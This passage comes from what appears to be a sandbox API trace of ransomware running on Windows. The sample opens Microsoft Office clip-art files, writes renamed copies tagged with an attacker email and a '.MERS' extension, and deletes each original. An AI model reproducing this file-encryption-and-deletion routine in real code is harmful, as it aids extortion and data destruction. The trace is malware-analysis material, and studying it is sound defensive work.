(lpString1=".bz2", lpString2=".WMF") returned -1 [0269.286] lstrlenW (lpString=".7z") returned 3 [0269.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0269.286] lstrlenW (lpString=".dbf") returned 4 [0269.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0269.286] lstrlenW (lpString=".1cd") returned 4 [0269.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0269.286] lstrlenW (lpString=".jpg") returned 4 [0269.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0269.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0269.286] lstrlenW (lpString=".doc") returned 4 [0269.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.286] lstrlenW (lpString=".docx") returned 5 [0269.286] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.286] lstrlenW (lpString=".pdf") returned 4 [0269.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.286] lstrlenW (lpString=".xls") returned 4 [0269.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.286] lstrlenW (lpString=".xlsx") returned 5 [0269.286] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.286] lstrlenW (lpString=".ppt") returned 4 [0269.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0269.286] lstrlenW (lpString=".zip") returned 4 [0269.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.286] lstrlenW (lpString=".rar") returned 4 [0269.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.286] lstrlenW (lpString=".bz2") returned 4 [0269.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.287] lstrlenW (lpString=".7z") returned 3 [0269.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0269.287] lstrlenW (lpString=".dbf") returned 4 [0269.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0269.287] lstrlenW (lpString=".1cd") returned 4 [0269.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0269.287] lstrlenW (lpString=".jpg") returned 4 [0269.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.287] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0269.287] lstrlenW (lpString="AN04191_.WMF") returned 12 [0269.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0269.287] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=6636) returned 1 [0269.287] CloseHandle (hObject=0x3d0) returned 1 [0269.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 0x20 [0269.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0269.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0269.288] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.288] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0269.288] GetLastError () returned 0x0 [0269.288] ReadFile (in: hFile=0x3d0, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x19ec, lpOverlapped=0x0) returned 1 [0269.370] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x19f0, lpOverlapped=0x0) returned 1 [0269.371] ReadFile (in: hFile=0x3d0, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0269.371] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0269.371] SetEndOfFile (hFile=0x3c4) returned 1 [0269.371] CloseHandle (hObject=0x3c4) returned 1 [0269.371] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.371] SetEndOfFile (hFile=0x3d0) returned 1 [0269.373] CloseHandle (hObject=0x3d0) returned 1 [0269.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0269.373] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0269.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0269.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0269.373] lstrlenW (lpString=".doc") returned 4 [0269.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.374] lstrlenW (lpString=".docx") returned 5 [0269.374] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.374] lstrlenW (lpString=".pdf") returned 4 [0269.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.374] lstrlenW (lpString=".xls") returned 4 [0269.374] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.374] lstrlenW (lpString=".xlsx") returned 5 [0269.374] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.374] lstrlenW (lpString=".ppt") returned 4 [0269.374] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0269.374] lstrlenW (lpString=".zip") returned 4 [0269.374] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.374] lstrlenW (lpString=".rar") returned 4 [0269.374] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.374] lstrlenW (lpString=".bz2") returned 4 [0269.374] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.374] lstrlenW (lpString=".7z") returned 3 [0269.374] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0269.374] lstrlenW (lpString=".dbf") returned 4 [0269.374] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0269.374] lstrlenW (lpString=".1cd") returned 4 [0269.374] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0269.374] lstrlenW (lpString=".jpg") returned 4 [0269.374] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0269.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0269.374] lstrlenW (lpString=".doc") returned 4 [0269.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.374] lstrlenW (lpString=".docx") returned 5 [0269.374] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.375] lstrlenW (lpString=".pdf") returned 4 [0269.375] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.375] lstrlenW (lpString=".xls") returned 4 [0269.375] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.375] lstrlenW (lpString=".xlsx") returned 5 [0269.375] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.375] lstrlenW (lpString=".ppt") returned 4 [0269.375] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0269.375] lstrlenW (lpString=".zip") returned 4 [0269.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.375] lstrlenW (lpString=".rar") returned 4 [0269.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.375] lstrlenW (lpString=".bz2") returned 4 [0269.375] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.375] lstrlenW (lpString=".7z") returned 3 [0269.375] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0269.375] lstrlenW (lpString=".dbf") returned 4 [0269.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0269.375] lstrlenW (lpString=".1cd") returned 4 [0269.375] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0269.375] lstrlenW (lpString=".jpg") returned 4 [0269.375] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.376] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0269.376] lstrlenW (lpString="AN04235_.WMF") returned 12 [0269.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0269.376] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=7804) returned 1 [0269.376] CloseHandle (hObject=0x3d0) returned 1 [0269.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 0x20 [0269.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0269.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0269.376] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.376] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0269.377] GetLastError () returned 0x0 [0269.377] ReadFile (in: hFile=0x3d0, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x1e7c, lpOverlapped=0x0) returned 1 [0269.445] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0269.446] ReadFile (in: hFile=0x3d0, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0269.446] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0269.446] SetEndOfFile (hFile=0x3c4) returned 1 [0269.446] CloseHandle (hObject=0x3c4) returned 1 [0269.446] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.446] SetEndOfFile (hFile=0x3d0) returned 1 [0269.449] CloseHandle (hObject=0x3d0) returned 1 [0269.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0269.449] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0269.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0269.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0269.449] lstrlenW (lpString=".doc") returned 4 [0269.449] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.449] lstrlenW (lpString=".docx") returned 5 [0269.449] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.449] lstrlenW (lpString=".pdf") returned 4 [0269.449] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.450] lstrlenW (lpString=".xls") returned 4 [0269.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.450] lstrlenW (lpString=".xlsx") returned 5 [0269.450] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.450] lstrlenW (lpString=".ppt") returned 4 [0269.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0269.450] lstrlenW (lpString=".zip") returned 4 [0269.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.450] lstrlenW (lpString=".rar") returned 4 [0269.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.450] lstrlenW (lpString=".bz2") returned 4 [0269.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.450] lstrlenW (lpString=".7z") returned 3 [0269.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0269.450] lstrlenW (lpString=".dbf") returned 4 [0269.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0269.450] lstrlenW (lpString=".1cd") returned 4 [0269.450] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0269.450] lstrlenW (lpString=".jpg") returned 4 [0269.450] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0269.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0269.451] lstrlenW (lpString=".doc") returned 4 [0269.451] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.451] lstrlenW (lpString=".docx") returned 5 [0269.451] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.451] lstrlenW (lpString=".pdf") returned 4 [0269.451] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.451] lstrlenW (lpString=".xls") returned 4 [0269.451] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.451] lstrlenW (lpString=".xlsx") returned 5 [0269.451] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.451] lstrlenW (lpString=".ppt") returned 4 [0269.451] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0269.451] lstrlenW (lpString=".zip") returned 4 [0269.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.451] lstrlenW (lpString=".rar") returned 4 [0269.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.451] lstrlenW (lpString=".bz2") returned 4 [0269.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.451] lstrlenW (lpString=".7z") returned 3 [0269.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0269.451] lstrlenW (lpString=".dbf") returned 4 [0269.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0269.451] lstrlenW (lpString=".1cd") returned 4 [0269.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0269.451] lstrlenW (lpString=".jpg") returned 4 [0269.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.452] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0269.452] lstrlenW (lpString="AN04355_.WMF") returned 12 [0269.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0269.564] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=3228) returned 1 [0269.564] CloseHandle (hObject=0x3e4) returned 1 [0269.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 0x20 [0269.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0269.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0269.564] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.564] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0269.656] GetLastError () returned 0x0 [0269.656] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0xc9c, lpOverlapped=0x0) returned 1 [0270.410] WriteFile (in: hFile=0x418, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xca0, lpOverlapped=0x0) returned 1 [0270.411] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.411] WriteFile (in: hFile=0x418, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.411] SetEndOfFile (hFile=0x418) returned 1 [0270.418] CloseHandle (hObject=0x418) returned 1 [0270.418] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.418] SetEndOfFile (hFile=0x3b4) returned 1 [0270.433] CloseHandle (hObject=0x3b4) returned 1 [0270.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0270.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0270.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0270.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0270.433] lstrlenW (lpString=".doc") returned 4 [0270.433] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.433] lstrlenW (lpString=".docx") returned 5 [0270.433] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.433] lstrlenW (lpString=".pdf") returned 4 [0270.433] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.433] lstrlenW (lpString=".xls") returned 4 [0270.433] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.433] lstrlenW (lpString=".xlsx") returned 5 [0270.433] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.433] lstrlenW (lpString=".ppt") returned 4 [0270.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0270.433] lstrlenW (lpString=".zip") returned 4 [0270.434] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.434] lstrlenW (lpString=".rar") returned 4 [0270.434] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.434] lstrlenW (lpString=".bz2") returned 4 [0270.434] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.434] lstrlenW (lpString=".7z") returned 3 [0270.434] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0270.434] lstrlenW (lpString=".dbf") returned 4 [0270.434] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0270.434] lstrlenW (lpString=".1cd") returned 4 [0270.434] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.434] lstrlenW (lpString="C:\\Program Files\\Microsoft 